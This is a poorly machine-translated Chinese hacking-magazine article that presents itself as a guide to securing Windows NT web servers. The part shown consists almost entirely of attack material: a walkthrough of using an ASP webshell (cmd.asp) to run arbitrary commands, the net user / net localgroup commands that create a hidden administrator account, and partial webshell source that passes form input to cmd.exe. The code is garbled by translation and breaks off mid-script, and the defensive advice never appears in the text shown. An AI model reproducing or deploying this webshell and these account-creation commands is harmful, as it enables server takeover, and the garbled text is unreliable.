The article was published in the 5th issue of the hacking line, and it is a few people to write 哟
The miserable thing did not write my name, the only sentence that I want to say is Fuck black defense!
Winnt System Permissions Settings with Hackers
Foreword: On the server on various networks, as long as the hacker can successfully invade different configurations of the server, you will get certain permissions, compare Guest or System permissions, but these permissions are due to improper configuration or lack of management experience. Let hackers have successfully invaded, as long as we add certain permissions to various dangerous components and orders, it will get the greatest security. Let's introduce the sufficiency of the permissions and hackers under the NT system. Of course, the NT server cannot be a FAT32 partition. Your NT server must use the NTFS partition, because only NTFS can give your server important file settings permission, if it is FAT32 The partitioned, then there is no security, and the following introductions some intrusion prevention instances will know the importance of setting permissions.
With the rapid development of the network, now friends are installed with broadband network, and the provider business that is virtual host business is of course getting better and better. Friends who do websites are more than the years, but now the hackers are I like to put a WebShell in the space of the virtual host provider to obtain the server's management, which is the most headache of the administrator of the server. The hackers can run the cmd command in the server through a variety of WebShells, and can copy, delete files, online editing files, and build superusers. Webshell (also called webpage Troja) is a variety of things here, such as ASP, CGI, PHP, JSP's WebShell, now popular XP_cmdshell, etc., all of which are the Webshell, now we introduce it first. The hackers are called the attack and prevention methods of various WebShells of webpage Trojans. At the same time, this simplest security setting method can also prevent most of the overflow attacks on the network, such as the famous IDQ, IDA, WebDAV and RPC overflow ..., you can make hackers get the management of your server, but you pass This small security configuration, the hacker's overflow attack you will not be afraid. Even if you don't make a patch, it is safe. I believe? Do not believe? Please see below!
The attack and prevention method are actually very simple, so it is generally familiar with the web production, and the friends who know the cmd command can learn, and in my opinion, there is no big technical speech, the difficulty level (primary) is everyone It can be learned, but this tutorial can be used as a Web website server administrator whether you have many years of server management experience or novice, this tutorial can serve as a method of preventing WebShell attack and overflow attacks. .
I. Basic ASP WebShell Attack and Prevention
Here we explain the three WebShell attacks and prevention methods of the ASP (and provide WebShell source code):
For example, use the script to bind the cmd command:
This is an attack method that uses scripts to bind the cmd command. In fact, the ASP's WebShell is not allowed, and there will be two WebShell attack and prevention methods. As long as the hacker put this webhell on your server, you don't have an appropriate method of prevention, then your server will suffer from poisonous hands and become a hacker's broiler. The server that is generally killed by this poisonous hand is a server that is a virtual host provider. It is also a server that belongs to individual or company. How is hacker to pass this WebShell to your server? If it is transmitted to the web space of the virtual host provider, it is generally a virtual host provider's own ^ _ ^, because the virtual service provider's customer itself has the permission of the upload software, and HTTP service Browse the address. Customers use this WebShell purpose to see what files stored in the server space you lease or through this WebShell theft server. What do individuals or company's servers, how to pass this webhell to the server space? Oh, it is generally a script vulnerability on the server, downloading the system's script vulnerability, and obtains this WebShell to your server by using these vulnerabilities to upload files on the WWW 80 port or use the TFTP service through some vulnerabilities to transfer this WebShell to your server. Since we only explain how these WebShell attacks here, don't mention how to pass this WebShell to the server space, this article assumes that you have passed this WebShell to the server space, you and get http The browsing address, as long as the server is supported, you can use this WebShell to obtain the management power of the server system. This back door is very hidden, even if you reload N times, the patch of N is ure, Because this vulnerability is there is no patch ^ _ ^, as long as this Webshell still exists, hackers find this WebShell's WWW browsing address, your server will become hacked broilers, so it is extremely harmful. As shown in the figure below, I passed a file name called cmd.asp to the webshell file to a server IP 192.168.0.18, put this file into the WebShell folder in the FTP root directory, we will You can use http://192.168.0.18/webshell/cmd.asp to access this WebShell, we can enter all cmd commands in that blank form, such as Dir C: / etc., if you want to be on this A ultra user is created in the server, you can enter two lines commands, the first line enters the NET user Netpk Hacker / ADD and then click the execution cmd command button to create a normal user Netpk, then enter the second line command, NET localgroup administrators Netpk / Added the ordinary user Netpk, the ordinary user Netpk, joined the superuser management stage Administrators group. Through these, we can determine this WebShell has all the cmd command permissions. What do you want to do, don't teach you, huh, huh ^ _ ^.
Below with this source code for this cmd.asp script:
Execute command:
<%
DIM OSCRIPT
DIM OSCRIPTNET
Dim ofilesys, Ofile
DIM SZCMD, SZTEMPFILE
Szcmd = request.form (". cmd")
'Get CMD from the input box
ON Error ResMe next
'If an error occurs, skip directly and prevent the pop-out error window.
Set Oscript = Server.createObject ("wscript.shell") 'Establishing a shell (wshshell) object
Set ofilesys = server.createObject ("scripting.filesystemObject")
Sztempfile = "c: /" & ysys.getTempName ()
'GetTempName () is a way to establish a temporary file in FSO
Call Oscript.Run ("cmd.exe / c" & szcmd & "> & sztempfile, 0, true)
'Call the RUN of the WSHShell function to execute the command and redirect it into the temporary folder.
Set ofile = ofilesys.opentextfile (Sztempfile, 1, False, 0)
'Open temporary files in reading
%>